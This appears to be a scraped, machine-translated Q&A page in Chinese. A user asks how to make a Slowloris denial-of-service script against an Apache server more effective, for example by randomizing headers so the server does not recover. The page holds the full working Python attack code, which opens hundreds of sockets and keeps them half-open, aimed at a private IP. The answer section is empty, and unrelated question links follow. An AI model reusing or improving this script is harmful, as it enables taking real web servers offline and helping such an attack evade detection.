python - 慢 Lorris 需要随机标题?
问题描述
我正在尝试为我的学习修改一个缓慢的 lorris 脚本,现有的脚本写得很好并且效果很好 - 最初
当攻击第一次开始时,它会导致网络服务器挂起 -太棒了
但大约 15 秒后,页面再次响应,好像攻击已被阻止
这可能是因为攻击每次都使用相同的标头信息并且网络服务器会通知吗?
--
除了在 ubuntu 上安装了 3 年的 apache 中包含的任何安全模块之外,该服务器没有任何安全模块
import socket, random, time, sys
headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Accept-language: en-US,en"
]
sockets = []
ip = "192.168.0.40"
def setupSocket(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((ip, 80))
sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
for header in headers:
sock.send("{}\r\n".format(header).encode("utf-8"))
return sock
if __name__ == "__main__":
ip = "192.168.0.40"
count = 350
print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))
for _ in range(count):
try:
print("Socket {}".format(_))
sock = setupSocket(ip)
except socket.error:
break
sockets.append(sock)
while True:
print("Connected to {} sockets. Sending headers...".format(len(sockets)))
for sock in list(sockets):
try:
sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets.remove(sock)
for _ in range(count - len(sockets)):
print("Re-opening closed sockets...")
try:
sock = setupSocket(ip)
if sock:
sockets.append(sock)
except socket.error:
break
time.sleep(15)
setupSocket(ip)
解决方案
推荐阅读
- mongodb - mongo-driver:未知操作员:$meta
- flutter - 升级后 Flutter 应用程序无法编译
- angular - 通过角度组件使用自托管在 Windows 服务中的 wcf 服务
- excel - 确定是添加还是删除行
- azure - 为什么 Azure AD B2C 智能锁定规则不适用于自定义策略?
- keras - 创建对抗性生成器和预训练分类器的组合模型
- ios - WKWebView GoBack 从本地 Html
- c# - C# selenium instagram 登录问题
- python - 无法在 jupyter 笔记本中将字符串转换为浮点数
- python - 同时对多个文档使用 TF-IDF Vectorizer